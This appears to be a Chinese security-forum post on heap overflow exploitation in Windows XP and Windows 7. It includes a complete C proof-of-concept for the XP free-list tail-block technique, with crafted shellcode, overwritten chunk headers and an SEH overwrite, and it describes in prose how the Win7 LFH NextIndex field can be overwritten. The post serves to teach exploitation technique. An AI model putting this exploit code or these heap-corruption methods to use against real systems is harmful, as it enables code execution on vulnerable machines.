-
-
[原创]xp 、win7 堆溢出
-
发表于: 2021-4-13 23:28 5575
-
一:XP溢出利用
目前总结的有两种方法:
a: 从尾块中进行分配(存在一个将堆地址写入到任意内存地址的漏洞)
b: 从快表中--溢出--分配--分配(返回的分配地址可以是自己溢出的任何数据)
第一种:从尾块中进行分配
FreeList[0]双向链表保存着所有超大空闲块(大于0x128<<3字节),其中也包含尾块。 当FreeList[0]链表中只有一个尾块时,FreeList[0]->Flink = FreeList[0]->Blink ,此时从尾块中分配内存时,链表安全检测可以过掉,可以被攻击,见代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | / / 限制条件: / / 1 :FreeList[ 0 ]中只能包含 1 个尾块(不能有其它大的空闲块在链表中),因为当FreeList[ 0 ] - >Flink = FreeList[ 0 ] - >Blink 时 链表完整性检测可以过掉 / / 2 :以下代码中有两个需要修改的地方: 分配的堆地址 、 seh节点地址 / / (也可以不修改,xp多运行几次,靠运气) / / / / / / / / #include <stdio.h> #include <windows.h> char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x10\x01\x10\x00\x99\x99\x99\x99" "\xEB\x06\x3C\x00\xEB\x06\x3C\x00" / / 003C06EB 中的 003C0000 为分配的堆地址(需要手动修改) "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xEB\x31\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x3C\x00\xb4\xFF\x12\x00" / / 12FFB4 为stack中 seh的节点地址(需要手动修改) "\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53" "\x68\x64\x61\x30\x23" "\x68\x23\x50\x61\x6E" "\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; void main() { HLOCAL h1,h2; HANDLE hp; hp = HeapCreate( 0 , 0x1000 , 0x10000 ); / / __asm int 3 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY, 16 ); memcpy(h1,shellcode, 300 ); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY, 16 ); int zero = 0 ; zero = 1 / zero; printf( "%d" ,zero); } |
第二种:从快表Lookasdie中进行分配,溢出后返回的分配地址可以是任意值。
一:win7溢出利用
先上图:
(跟着 _HEAP->FontEndHeap字段可以索引到最终_HEAP_USERDATA_HEADER地址;此例分配的都是8字节空间,连续的 "16字节可用空间(包括快首)" 就是LFH开辟的用户空间)
类似这种:
每一个chunk都是UserBlocks结构,包括8字节块首+用户空间,结构如下:
其中的NextIndex为WORD值,用来在分配是索引下一个可分配的地址,主要溢出就是溢出这个值。
LFH分配时需要_HEAP_SUBSEGMENT结构中的AggregateExchg字段来完成(包含深度和偏移)。
分配流程:
第一步:根据 AggregateExchg->OffsetAndDepth 获取到目的块地址(块首):
即:addr = _HEAP_USERDATA_HEADER+ (AggregateExchg->OffsetAndDepth >>13) & 0x7FFF8
第二步:根据这个块的 NextIndex 去更新AggregateExchg->OffsetAndDepth:
即:AggregateExchg->OffsetAndDepth = (AggregateExchg->Depth-1) || NextIndex << 0x10
第三步:返回分配的地址 addr
(分配时没有使用/检测UserBlocks的前4个字节xor)
释放流程:
(需要释放的块的块首为 addr)
第一步:计算 WORD(AggregateExchg->FreeEntryOffset),将结果赋值给NextIndex字段
第二步:更新AggregateExchg->OffsetAndDepth:
即:[(addr - _HEAP_USERDATA_HEADER)>>3 << 0x10 ] | (AggregateExchg->Depth + 1)
(释放时有使用/检测UserBlocks的前4个字节xor)
利用:
释放时会对块首前四个字节的编码值进行校验,利用难度大;
分配时没有检测,此时若对某个空闲chunk块的NextIndex值进行覆盖,那么,下次分配到这个chunk块时,就好将这个NextIndex写入到AggregateExchg->OffsetAndDepth字段;继续分配,就会分配到程序"意料之外"的地址;
(当然,分配的地址不能无限大,因为分配时 & 0x7FFF8,将分配的地址控制在当前的LFH堆中)
(图片放到附加了)
(!!!最重要的:xp中只总结了2种方法,win7中只总结了1种方法,若各位大佬有其它方法、或文中有错误的地方,请在评论区留下宝贵意见)
(若有报过相关的漏洞也请说一下---我没有找到...)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)